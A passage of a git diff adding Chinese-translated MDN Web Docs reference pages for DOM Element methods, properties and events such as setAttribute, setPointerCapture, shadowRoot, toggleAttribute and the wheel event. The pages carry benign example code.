+        if (isOverflowing(element)) {
+            alert('Contents are overflowing the container.');
+        } else {
+            alert('No overflows!');
+        }
+    }
+
+    buttonOne.addEventListener('click', function() {
+        alertOverflow(divOne);
+    });
+
+    buttonTwo.addEventListener('click', function() {
+        alertOverflow(divTwo);
+    });
+</script>
+</html>
+ +

规范

+ +

The CSSOM View Module defines scrollWidth

+ +

相关

+ + diff --git a/files/zh-cn/web/api/element/select_event/index.html b/files/zh-cn/web/api/element/select_event/index.html new file mode 100644 index 0000000000..bd9f49413a --- /dev/null +++ b/files/zh-cn/web/api/element/select_event/index.html @@ -0,0 +1,132 @@ +--- +title: select +slug: Web/API/Element/select_event +tags: + - Event +translation_of: Web/API/Element/select_event +--- +
{{APIRef}}
+ +

select 选择某些文本时会触发事件。

+ +

该事件不适用于所有语言的所有元素。例如,在 HTML,select事件只能在表单{{HtmlElement('input/text', '<input type="text">')}}和 {{HtmlElement("textarea")}}元素上触发。

+ +

General info

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Interface{{domxref("UIEvent")}} if generated from a user interface, {{domxref("Event")}} otherwise
BubblesYes
CancelableNo
Target{{domxref("Element")}}
Default ActionNone
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
+ +

示例

+ +

HTML

+ +
<input value="Try selecting some text in this element.">
+<p id="log"></p>
+ +

JavaScript

+ +
function logSelection(event) {
+  const log = document.getElementById('log');
+  const selection = event.target.value.substring(event.target.selectionStart, event.target.selectionEnd);
+  log.textContent = `You selected: ${selection}`;
+}
+
+const input = document.querySelector('input');
+input.addEventListener('select', logSelection);
+ +

结果

+ +

{{EmbedLiveSample("示例")}}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-select', 'select')}}{{Spec2('UI Events')}} 
+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/setattribute/index.html b/files/zh-cn/web/api/element/setattribute/index.html new file mode 100644 index 0000000000..0855bc31f6 --- /dev/null +++ b/files/zh-cn/web/api/element/setattribute/index.html @@ -0,0 +1,97 @@ +--- +title: Element.setAttribute() +slug: Web/API/Element/setAttribute +tags: + - API + - DOM + - NeedsSpecTable + - 元素 + - 参考 + - 属性 + - 方法 +translation_of: Web/API/Element/setAttribute +--- +
{{APIRef("DOM")}}
+ +

设置指定元素上的某个属性值。如果属性已经存在,则更新该值;否则,使用指定的名称和值添加一个新的属性。

+ +

要获取某个属性当前的值,可使用 {{domxref("Element.getAttribute", "getAttribute()")}};要删除某个属性,可使用 {{domxref("Element.removeAttribute", "removeAttribute()")}}。

+ +

语法

+ +
element.setAttribute(name, value);
+
+ +

参数

+ +
+
name
+
表示属性名称的字符串。A {{domxref("DOMString")}} specifying the name of the attribute whose value is to be set. The attribute name is automatically converted to all lower-case when setAttribute() is called on an HTML element in an HTML document.
+
value
+
属性的值/新值。A {{domxref("DOMString")}} 包含了分配给这个属性的值. 任何非字符串的值都会被自动转换为字符串.
+
+ +

当在 HTML 文档中的 HTML 元素上调用 setAttribute() 方法时,该方法会将其属性名称(attribute name)参数小写化。

+ +

如果指定的属性已经存在,则其值变为传递的值。如果不存在,则创建指定的属性。

+ +

尽管对于不存在的属性,getAttribute() 返回 null,你还是应该使用 removeAttribute() 代替 elt.setAttribute(attr, null) 来删除属性。

+ +

布尔属性(原文是Boolean attributes)只要出现在元素上就会被认为是 true ,无论它的值是什么; 一般来说, 你应该将 value 设置为空字符串 ("") 。(一些人使用这个属性的名称作为值; 这不会出现什么问题,但这是不规范的). See the {{anch("Example", "example")}} below for a practical demonstration.

+ +

由于将指定的值转换为字符串,因此指定null不一定能达到您的期望。 而不是删除属性或将其值设置为{{jsxref(“ null”)}},而是将属性的值设置为字符串“ null”。 如果要删除属性,请调用{{domxref(“ Element.removeAttribute”,“ removeAttribute()”)}}}。

+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

例外

+ +
+
无效字符错误
+
指定的属性名称包含一个或多个在属性名称中无效的字符。
+
+ +

例子

+ +

在下面的例子中,setAttribute() 被用于设置 {{HTMLElement("button")}} 上的属性。

+ +

HTML

+ +
<button>Hello World</button>
+ +

JavaScript

+ +
var b = document.querySelector("button");
+
+b.setAttribute("name", "helloButton");
+b.setAttribute("disabled", "");
+
+ +

这说明了两件事:

+ + + +

{{ EmbedLiveSample('Example', '300', '50') }}

+ +

{{DOMAttributeMethods}}

+ +

规范

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.Element.setAttribute")}}

+ +

Gecko 备注

+ +

使用 setAttribute() 修改某些属性值时,尤其是 XUL 中的 value,可能得不到期望结果。这是由于 attribute 指定的是默认值。要访问或修改当前值,应该使用 property 属性。例如,使用 Element.value 代替 Element.setAttribute()

diff --git a/files/zh-cn/web/api/element/setattributenode/index.html b/files/zh-cn/web/api/element/setattributenode/index.html new file mode 100644 index 0000000000..1d9c641c8e --- /dev/null +++ b/files/zh-cn/web/api/element/setattributenode/index.html @@ -0,0 +1,46 @@ +--- +title: Element.setAttributeNode() +slug: Web/API/Element/setAttributeNode +tags: + - API + - DOM + - Element +translation_of: Web/API/Element/setAttributeNode +--- +

{{ APIRef("DOM") }}

+ +

setAttributeNode() 为指定的 Element 添加属性节点.

+ +

Syntax

+ +
var replacedAttr = element.setAttributeNode(attribute);
+
+ + + +

Example

+ +
// <div id="one" align="left">one</div>
+// <div id="two">two</div>
+var d1 = document.getElementById("one");
+var d2 = document.getElementById("two");
+var a = d1.getAttributeNode("align");
+d2.setAttributeNode(a.cloneNode(true));
+alert(d2.attributes[1].value)
+// returns: `left'
+
+ +

Notes

+ +

如果 element 中已经存在该属性名的属性,则函数使用新的属性替换掉原有的属性并将原有属性返回

+ +

这个方法很少被用到, 多数情况下使用函数 setAttribute() 修改 element 的属性.

+ +

{{ DOMAttributeMethods() }}

+ +

Specification

+ +

DOM Level 2 Core: setAttributeNode (introduced in DOM Level 1 Core)

diff --git a/files/zh-cn/web/api/element/setattributenodens/index.html b/files/zh-cn/web/api/element/setattributenodens/index.html new file mode 100644 index 0000000000..9e791e1f0c --- /dev/null +++ b/files/zh-cn/web/api/element/setattributenodens/index.html @@ -0,0 +1,47 @@ +--- +title: Element.setAttributeNodeNS() +slug: Web/API/Element/setAttributeNodeNS +translation_of: Web/API/Element/setAttributeNodeNS +--- +

{{ APIRef("DOM") }}

+ +

setAttributeNodeNS 可以给一个元素添加一个新的命名空间的属性节点.

+ +

                                                                                                                               (如果对中文有疑惑,请直接阅读原文)

+ +

Syntax                                                                 

+ +
replacedAttr = element.setAttributeNodeNS(attributeNode)
+
+ + + +

Example

+ +
// <div id="one" xmlns:myNS="http://www.mozilla.org/ns/specialspace"
+            myNS:special-align="utterleft">one</div>
+// <div id="two">two</div>
+
+
+var myns = "http://www.mozilla.org/ns/specialspace";
+var d1 = document.getElementById("one");
+var d2 = document.getElementById("two");
+var a = d1.getAttributeNodeNS(myns, "special-align");
+d2.setAttributeNodeNS(a.cloneNode(true));
+alert(d2.attributes[1].value) // returns: `utterleft'
+
+ +

Notes

+ +

如果指定的属性在元素上存在, 接着此属性被新的属性替换的话被替换的属性会被返回.

+ +

注意:如果你尝试设置的时候没有克隆那个节点,Mozia会抛出一个NS_ERROR_DOM_INUSE_ATTRIBUTE_ERR :"Attribute already in use" 错误, 因为DOM需要克隆属性之后才能重复使用( 不像其他节点一样可以被删除 ) 。

+ +

{{ DOMAttributeMethods() }}

+ +

Specification

+ +

DOM Level 2 Core: setAttributeNodeNS

diff --git a/files/zh-cn/web/api/element/setattributens/index.html b/files/zh-cn/web/api/element/setattributens/index.html new file mode 100644 index 0000000000..c4ceae36df --- /dev/null +++ b/files/zh-cn/web/api/element/setattributens/index.html @@ -0,0 +1,37 @@ +--- +title: Element.setAttributeNS() +slug: Web/API/Element/setAttributeNS +tags: + - Element.setAttributeNS() + - SVG + - 'http://svgjs.com/' +translation_of: Web/API/Element/setAttributeNS +--- +

{{ APIRef("DOM") }}

+ +

setAttributeNS 添加一个新属性或更改具有给定命名空间和名称的一个属性的值。

+ +

句法

+ +
element.setAttributeNS(namespace,name,value)
+
+ + + +

范例

+ +
let d = document.getElementById("d1");
+d.setAttributeNS("http://www.mozilla.org/ns/specialspace", "align", "center");
+
+ +

注释

+ +

{{ DOMAttributeMethods() }}

+ +

规范

+ +

DOM Level 2 Core: setAttributeNS

diff --git a/files/zh-cn/web/api/element/setcapture/index.html b/files/zh-cn/web/api/element/setcapture/index.html new file mode 100644 index 0000000000..26d035a813 --- /dev/null +++ b/files/zh-cn/web/api/element/setcapture/index.html @@ -0,0 +1,82 @@ +--- +title: element.setCapture +slug: Web/API/Element/setCapture +translation_of: Web/API/Element/setCapture +--- +

{{ ApiRef() }}{{ gecko_minversion_header("2.0") }}

+ +

概要

+ +

在处理一个 mousedown 事件过程中调用这个方法来把全部的鼠标事件重新定向到这个元素,直到鼠标按钮被释放或者 {{ domxref("document.releaseCapture()") }} 被调用。

+ +

语法

+ +
element.setCapture(retargetToElement);
+
+ +
+
retargetToElement
+
如果被设置为 true, 所有事件被直接定向到这个元素; 如果是 false, 事件也可以在这个元素的子元素上触发。
+
+ +

示例

+ +

在这个例子中,当你在一个元素中点击并且按住鼠标,然后再使用鼠标拖动的时候,当前鼠标位置的坐标就会被绘制出来。

+ +
<html>
+<head>
+  <title>鼠标捕捉示例</title>
+  <style type="text/css">
+    #myButton {
+      border: solid black 1px;
+      color: black;
+      padding: 2px;
+      -moz-box-shadow:black 2px 2px;
+    }
+  </style>
+
+  <script type="text/javascript">
+    function init() {
+      var btn = document.getElementById("myButton");
+      btn.addEventListener("mousedown", mouseDown, false);
+      btn.addEventListener("mouseup", mouseUp, false);
+    }
+
+    function mouseDown(e) {
+      e.target.setCapture();
+      e.target.addEventListener("mousemove", mouseMoved, false);
+    }
+
+    function mouseUp(e) {
+      e.target.removeEventListener("mousemove", mouseMoved, false);
+    }
+
+    function mouseMoved(e) {
+      var output = document.getElementById("output");
+      output.innerHTML = "鼠标的当前位置: " + e.clientX + ", " + e.clientY;
+    }
+  </script>
+</head>
+<body onload="init()">
+  <p>这是一个关于如何在 Gecko 2.0 中针对元素使用鼠标捕捉的示例。</p>
+  <p><a id="myButton" href="javascript:buttonClicked()">点我并且按住鼠标滑动</a></p>
+  <div id="output">还没有任何事件哦!</div>
+</body>
+</html>
+
+ +

查看在线演示

+ +

注意

+ +

这个元素可能不会完全被滚动到顶部或者底部,这取决于其他元素的布局。

+ +

规范

+ +

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/setpointercapture/index.html b/files/zh-cn/web/api/element/setpointercapture/index.html new file mode 100644 index 0000000000..401d08e629 --- /dev/null +++ b/files/zh-cn/web/api/element/setpointercapture/index.html @@ -0,0 +1,113 @@ +--- +title: Element.setPointerCapture() +slug: Web/API/Element/setPointerCapture +tags: + - API + - DOM + - Element +translation_of: Web/API/Element/setPointerCapture +--- +

{{APIRef("DOM")}}

+ +

{{domxref("Element")}}接口的setPointerCapture() 方法用于将特定元素指定为未来指针事件的捕获目标。指针的后续事件将以捕获元素为目标,直到捕获被释放(通过{{domxref("Element.releasePointerCapture()")}})。

+ +
一旦设置了pointer capture,  {{event("pointerover")}}, {{event("pointerout")}} {{event("pointerenter")}}, 和{{event("pointerleave")}}  事件将不会被触发,直到越过设置了capture的元素的边界。这是因为其他元素将不能再作为pointer事件的目标了。这会影响到这些事件在其他元素上的触发。
+ +
+

指针捕获概述

+
+ +
指针捕获允许一个特定的指针事件({{domxref("PointerEvent")}}) 事件从一个事件触发时候的目标重定位到另一个目标上。这个功能可以确保一个元素可以持续的接收到一个pointer事件,即使这个事件的触发点已经移出了这个元素(比如,在滚动的时候)。
+ +

语法

+ +
targetElement.setPointerCapture(pointerId);
+
+ +

参数

+ +
+
pointerId
+
{{domxref("PointerEvent")}} 对象的{{domxref("PointerEvent.pointerId", "pointerId")}} 。
+
+ +

返回值

+ +

返回void。如果pointerId不匹配任何当前活动的指针事件,将抛出{{domxref("DOMException")}}。

+ +

示例

+ +

当您按下它时,此示例在 {{HtmlElement("div")}} 上设置指针捕获。这使您可以滑动元素,即使指针移动到其边界之外也是如此。

+ +

HTML

+ +
<div id="slider">SLIDE ME</div>
+ +

CSS

+ +
div {
+  width: 140px;
+  height: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  background: #fbe;
+}
+ +

JavaScript

+ +
function beginSliding(e) {
+  slider.onpointermove = slide;
+  slider.setPointerCapture(e.pointerId);
+}
+
+function stopSliding(e) {
+  slider.onpointermove = null;
+  slider.releasePointerCapture(e.pointerId);
+}
+
+function slide(e) {
+  slider.style.transform = `translate(${e.clientX - 70}px)`;
+}
+
+const slider = document.getElementById('slider');
+
+slider.onpointerdown = beginSliding;
+slider.onpointerup = stopSliding;
+ +

结果

+ +

{{EmbedLiveSample("示例")}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Pointer Events 2','#widl-Element-setPointerCapture-void-long-pointerId', 'setPointerCapture')}}{{Spec2('Pointer Events 2')}}不稳定版本
{{SpecName('Pointer Events', '#widl-Element-setPointerCapture-void-long-pointerId', 'setPointerCapture')}}{{Spec2('Pointer Events')}}初版
+ +

浏览器兼容性

+ +

{{Compat("api.Element.setPointerCapture")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/shadowroot/index.html b/files/zh-cn/web/api/element/shadowroot/index.html new file mode 100644 index 0000000000..2e85ab3d16 --- /dev/null +++ b/files/zh-cn/web/api/element/shadowroot/index.html @@ -0,0 +1,132 @@ +--- +title: Element.shadowRoot +slug: Web/API/Element/shadowRoot +tags: + - API + - DOM遍历 + - ShadowRoot +translation_of: Web/API/Element/shadowRoot +--- +

{{APIRef('Shadow DOM')}} {{SeeCompatTable}}{{draft}}

+ +

Element.shadowRoot 是只读属性,表示元素挂载的shadow root。可以使用 {{domxref('Element.attachShadow')}} 给一个已存在的元素添加shadow root。

+ +

语法

+ +
var shadowroot = element.shadowRoot;
+
+ +

+ +

可以是一个{{domxref('ShadowRoot')}}实例对象,但如果一个shadow root的 {{domxref("ShadowRoot.mode", "mode")}}被设置为 closed那么它的值将会是 null。(详情请见 {{domxref("Element.attachShadow")}} ).

+ +

示例

+ +

下面代码片段取自 life-cycle-callbacks (在线查看), 在这个示例中我们创建了一个在元素属性中指定了大小和颜色的正方形元素。

+ +

<custom-square>标签的class定义中我们在生命周期的回调函数里调用了一些外部方法——updateStyle(),正是这个函数使得我们添加的正方形元素可以改变大小和颜色。你可以看到我们将this(即我们创建的正方形元素本身)作为一个参数传入了这个方法。

+ +
connectedCallback() {
+  console.log('Custom square element added to page.');
+  updateStyle(this);
+}
+
+attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Custom square element attributes changed.');
+  updateStyle(this);
+}
+
+ +

updateStyle()函数中我们通过{{domxref("Element.shadowRoot")}}获取到了Shadow DOM引用。在这里我们利用了标准的DOM遍历技巧来获取在Shadow DOM中{{htmlelement("style")}}元素并更新了其中的CSS样式:

+ +
function updateStyle(elem) {
+  const shadow = elem.shadowRoot;
+  const childNodes = Array.from(shadow.childNodes);
+
+  childNodes.forEach(childNode => {
+    if (childNode.nodeName === 'STYLE') {
+      childNode.textContent = `
+        div {
+          width: ${elem.getAttribute('l')}px;
+          height: ${elem.getAttribute('l')}px;
+          background-color: ${elem.getAttribute('c')};
+        }
+      `;
+    }
+  });
+}
+ +

 

+ +

标准

+ + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Shadow DOM', '#widl-Element-attachShadow-ShadowRoot-ShadowRootInit-shadowRootInitDict', 'attachShadow()')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatChrome(53.0)}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
 基本支持{{CompatNo}}{{CompatChrome(53.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/element/show_event/index.html b/files/zh-cn/web/api/element/show_event/index.html new file mode 100644 index 0000000000..c38719c912 --- /dev/null +++ b/files/zh-cn/web/api/element/show_event/index.html @@ -0,0 +1,77 @@ +--- +title: show +slug: Web/API/Element/show_event +translation_of: Web/API/Element/show_event +--- +

当一个具有contextmenu属性的元素的contextmenu事件触发或冒泡到该元素时,show事件会被触发。

+ +

基本信息

+ +
+
标准
+
HTML5
+
接口
+
Event
+
冒泡
+
+
可关闭
+
+
触发对象
+
Element
+
默认动作
+
显示由相关目录元素创建的上下文目录
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件的目标对象 (DOM树中的最高层元素)。
type {{readonlyInline}}{{domxref("DOMString")}}事件类型。
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡。
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可以关闭。
+ +

例子

+ +
<div contextmenu="test"></div>
+<menu type="context" id="test">
+    <menuitem label="alert" onclick="alert('the alert label has been clicked')" />
+</menu>
+
+<script>
+  document.getElementById("test").addEventListener("show", function(e){
+    alert("the context menu will be displayed");
+  }, false);
+</script>
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/element/slot/index.html b/files/zh-cn/web/api/element/slot/index.html new file mode 100644 index 0000000000..74189f5ab6 --- /dev/null +++ b/files/zh-cn/web/api/element/slot/index.html @@ -0,0 +1,65 @@ +--- +title: Element.slot +slug: Web/API/Element/slot +tags: + - API + - Element + - Experimental + - shadow dom + - slot +translation_of: Web/API/Element/slot +--- +

{{APIRef("Shadow DOM")}}

+ +

{{domxref("Element")}}接口的slot属性会返回已插入元素所在的Shadow DOM slot的名称。

+ +

Slot是存在于web component内部的占位符,用户可以通过slot属性在web component的内部插入自定义的标记文本。(详见Using templates and slots

+ +

语法

+ +
var aString = element.slot
+element.slot = aString
+
+ +

+ +

{{domxref("DOMString")}}.

+ +

示例

+ +

在示例 simple-template example (在线查看)中,我们创建了一个简单的自定义元素叫做 <my-paragraph> ,并为它添加了shadow root,然后使用一个包含以 my-text为名称的slot的template来填充它。

+ +

当 <my-paragraph> 在文档中被使用时,slot标签中的内容会被填充到拥有slot="my-text"属性的元素之中,我们称这种元素为slotable element。(事实上可以看作是拥有slot属性的元素被填充到了template中有<slot>标签存在的地方)请看下面的示例:

+ +
<my-paragraph>
+  <span slot="my-text">Let's have some different text!</span>
+</my-paragraph>
+ +

在Javascript代码中我们获取到上面代码中的span的引用,然后将对应的 <slot> 元素的引用的名称打印在控制台中。

+ +
let slottedSpan = document.querySelector('my-paragraph span')
+console.log(slottedSpan.slot); // logs 'my-text'
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Shadow DOM','#widl-Element-slot','slot')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

浏览器兼容性

+ +
{{Compat("api.Element.slot")}}
+ +
 
diff --git a/files/zh-cn/web/api/element/tagname/index.html b/files/zh-cn/web/api/element/tagname/index.html new file mode 100644 index 0000000000..a1264ccd06 --- /dev/null +++ b/files/zh-cn/web/api/element/tagname/index.html @@ -0,0 +1,31 @@ +--- +title: Element.tagName +slug: Web/API/Element/tagName +translation_of: Web/API/Element/tagName +--- +

{{ APIRef() }}

+

概述

+

返回当前元素的标签名

+

语法

+
elementName = element.tagName
+
+ +

备注

+

在XML (或者其他基于XML的语言,比如XHTML,xul)文档中,tagName的值会保留原始的大小写. 在HTML文档中, tagName会返回其大写形式. 对于元素节点来说,tagName属性的值和nodeName属性的值是相同的.

+

例子

+

假设给定下面的源码

+
<span id="born">When I was born...</span>
+
+

然后运行下面的脚本

+
var span = document.getElementById("born");
+alert(span.tagName);
+
+

在XHTML中 (或者其他的XML格式文件中), 会弹出小写的"span".而在HTML中, 会弹出大写的"SPAN".

+

规范

+ +

{{ languages( { "es": "es/DOM/element.tagName", "fr": "fr/DOM/element.tagName", "ja": "ja/DOM/element.tagName", "pl": "pl/DOM/element.tagName","en": "en/DOM/element.tagName" } ) }}

diff --git a/files/zh-cn/web/api/element/toggleattribute/index.html b/files/zh-cn/web/api/element/toggleattribute/index.html new file mode 100644 index 0000000000..c98a1882ef --- /dev/null +++ b/files/zh-cn/web/api/element/toggleattribute/index.html @@ -0,0 +1,113 @@ +--- +title: Element.toggleAttribute() +slug: Web/API/Element/toggleAttribute +tags: + - API + - Element + - 元素 + - 参考 +translation_of: Web/API/Element/toggleAttribute +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Element")}} 接口的 toggleAttribute() 方法切换给定元素的某个布尔值属性的状态(如果属性不存在则添加属性,属性存在则移除属性)。

+ +

语法

+ +
Element.toggleAttribute(name [, force]);
+
+ +

参数

+ +
+
name
+
A {{domxref("DOMString")}} specifying the name of the attribute to be toggled. The attribute name is automatically converted to all lower-case when toggleAttribute() is called on an HTML element in an HTML document.
+
force {{optional_inline}}
+
A boolean value to determine whether the attribute should be added or removed, no matter whether the attribute is present or not at the moment.
+
+ +

返回值

+ +

true if attribute name is eventually present, and false otherwise.

+ +

异常

+ +
+
InvalidCharacterError
+
The specified attribute name contains one or more characters which are not valid in attribute names.
+
+ +

例子

+ +

在下面的例子中,toggleAttribute() 被用于切换 {{HTMLElement("input")}} 的 readonly 属性。

+ +

HTML

+ +
<input value="text">
+<button>toggleAttribute("readonly")</button>
+ +

JavaScript

+ +
var button = document.querySelector("button");
+var input = document.querySelector("input");
+
+button.addEventListener("click", function(){
+  input.toggleAttribute("readonly");
+});
+
+ +

结果

+ +

{{ EmbedLiveSample('Example', '300', '50') }}

+ +

{{DOMAttributeMethods}}

+ +

Polyfill

+ +
+

译者注:下面代码中的 void 0undefined

+
+ +
if (!Element.prototype.toggleAttribute) {
+  Element.prototype.toggleAttribute = function(name, force) {
+    if(force !== void 0) force = !!force
+
+    if (this.getAttribute(name) !== null) {
+      if (force) return true;
+
+      this.removeAttribute(name);
+      return false;
+    } else {
+      if (force === false) return false;
+
+      this.setAttribute(name, "");
+      return true;
+    }
+  };
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-element-toggleattribute', 'Element.toggleAttribute')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.toggleAttribute")}}

diff --git a/files/zh-cn/web/api/element/touchcancel_event/index.html b/files/zh-cn/web/api/element/touchcancel_event/index.html new file mode 100644 index 0000000000..b6c3f26d83 --- /dev/null +++ b/files/zh-cn/web/api/element/touchcancel_event/index.html @@ -0,0 +1,68 @@ +--- +title: touchcancel +slug: Web/API/Element/touchcancel_event +tags: + - Event + - TouchEvent + - UI + - UI Events + - UX + - 事件 + - 触摸 + - 触摸事件 +translation_of: Web/API/Element/touchcancel_event +--- +

当触摸点被中断时会触发 touchcancel 事件,中断方式基于特定实现而有所不同(例如, 创建了太多的触摸点)。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("TouchEvent")}}
Event handler property{{ DOMxRef("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}
+ +

示例

+ +

在这个专用页面查看这些事件的代码样例:Touch events

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('Touch Events', '#event-touchcancel')}}{{Spec2('Touch Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.touchcancel_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/touchstart_event/index.html b/files/zh-cn/web/api/element/touchstart_event/index.html new file mode 100644 index 0000000000..17de790399 --- /dev/null +++ b/files/zh-cn/web/api/element/touchstart_event/index.html @@ -0,0 +1,70 @@ +--- +title: touchstart +slug: Web/API/Element/touchstart_event +tags: + - Event + - UI + - UI Events + - UX + - touchstart + - 事件 + - 触摸 + - 触摸事件 +translation_of: Web/API/Element/touchstart_event +--- +

{{APIRef}}

+ +

当一个或多个触摸点与触控设备表面接触时触发touchstart 事件.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("TouchEvent")}}
Event handler property{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}
+ +

示例

+ +

这些时间的代码样例可在这个专用页面查看:Touch events.

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('Touch Events', '#event-touchstart')}}{{Spec2('Touch Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.touchstart_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/wheel_event/index.html b/files/zh-cn/web/api/element/wheel_event/index.html new file mode 100644 index 0000000000..d426fa2e77 --- /dev/null +++ b/files/zh-cn/web/api/element/wheel_event/index.html @@ -0,0 +1,266 @@ +--- +title: 滚轮事件 +slug: Web/API/Element/wheel_event +translation_of: Web/API/Element/wheel_event +--- +

当滚动鼠标滚轮或操作其它类似输入设备时会触发滚轮事件。滚轮事件替换了已被弃用的非标准{{domxref("mousewheel")}}事件。

+ +
注意事项: 请勿想当然依据滚轮方向(即该事件的各delta属性值)来推断文档内容的滚动方向,因标准未定义滚轮事件具体会引发什么样的行为,引发的行为实际上是各浏览器自行定义的。即便滚轮事件引发了文档内容的滚动行为,也不表示滚轮方向和文档内容的滚动方向一定相同。因而通过该滚轮事件获知文档内容滚动方向的方法并不可靠。要获取文档内容的滚动方向,可在文档内容滚动事件({{event("scroll")}})中监视{{domxref("Element.scrollLeft", "scrollLeft")}}和{{domxref("Element.scrollTop", "scrollTop")}}二值变化情况,即可推断出滚动方向了。
+ +

概要

+ +
+
接口
+
{{domxref("WheelEvent")}}
+
同步性
+
异步
+
事件冒泡
+
+
可取消
+
+
目标元素
+
defaultView, Document, Element
+
默认行为
+
滚动, 历史记录切换, 或者放大/缩小.
+
+ +

属性

+ +

滚轮事件实现了以下事件的属性: {{domxref("WheelEvent")}}, {{domxref("MouseEvent")}}, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +

Properties of WheelEvent

+ +

{{page("/zh-CN/docs/Web/API/WheelEvent", "属性")}}

+ +

Properties of MouseEvent

+ +

{{page("/zh-CN/docs/Web/API/MouseEvent", "属性")}}

+ +

Properties of UIEvent

+ +

{{page("/zh-CN/docs/Web/API/UIEvent", "属性")}}

+ +

Properties of Event

+ +

{{page("/zh-CN/docs/Web/API/Event", "属性")}}

+ +

方法

+ +

滚轮事件实现了以下事件的方法: {{domxref("WheelEvent")}}, {{domxref("MouseEvent")}}, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +

Methods of WheelEvent

+ +

{{page("/zh-CN/docs/Web/API/WheelEvent", "方法")}}

+ +

Methods of MouseEvent

+ +

{{page("/zh-CN/docs/Web/API/MouseEvent", "方法")}}

+ +

Methods of UIEvent

+ +

{{page("/zh-CN/docs/Web/API/UIEvent", "方法")}}

+ +

Methods of Event

+ +

{{page("/zh-CN/docs/Web/API/Event", "方法")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','DOM3-Events.html#event-type-wheel','wheel')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.Element.wheel_event")}}

+ +

跨浏览器监听滚动事件

+ +

以下脚本创建了一个全局的 addWheelListener 方法,它可以兼容各浏览器监听滚动事件,并且阻止默认行为。

+ +
// creates a global "addWheelListener" method
+// example: addWheelListener( elem, function( e ) { console.log( e.deltaY ); e.preventDefault(); } );
+(function(window,document) {
+
+    var prefix = "", _addEventListener, onwheel, support;
+
+    // detect event model
+    if ( window.addEventListener ) {
+        _addEventListener = "addEventListener";
+    } else {
+        _addEventListener = "attachEvent";
+        prefix = "on";
+    }
+
+    // detect available wheel event
+    support = "onwheel" in document.createElement("div") ? "wheel" : // 各个厂商的高版本浏览器都支持"wheel"
+              document.onmousewheel !== undefined ? "mousewheel" : // Webkit 和 IE一定支持"mousewheel"
+              "DOMMouseScroll"; // 低版本firefox
+
+    window.addWheelListener = function( elem, callback, useCapture ) {
+        _addWheelListener( elem, support, callback, useCapture );
+
+        // handle MozMousePixelScroll in older Firefox
+        if( support == "DOMMouseScroll" ) {
+            _addWheelListener( elem, "MozMousePixelScroll", callback, useCapture );
+        }
+    };
+
+    function _addWheelListener( elem, eventName, callback, useCapture ) {
+        elem[ _addEventListener ]( prefix + eventName, support == "wheel" ? callback : function( originalEvent ) {
+            !originalEvent && ( originalEvent = window.event );
+
+            // create a normalized event object
+            var event = {
+                // keep a ref to the original event object
+                originalEvent: originalEvent,
+                target: originalEvent.target || originalEvent.srcElement,
+                type: "wheel",
+                deltaMode: originalEvent.type == "MozMousePixelScroll" ? 0 : 1,
+                deltaX: 0,
+                deltaZ: 0,
+                preventDefault: function() {
+                    originalEvent.preventDefault ?
+                        originalEvent.preventDefault() :
+                        originalEvent.returnValue = false;
+                }
+            };
+
+            // calculate deltaY (and deltaX) according to the event
+            if ( support == "mousewheel" ) {
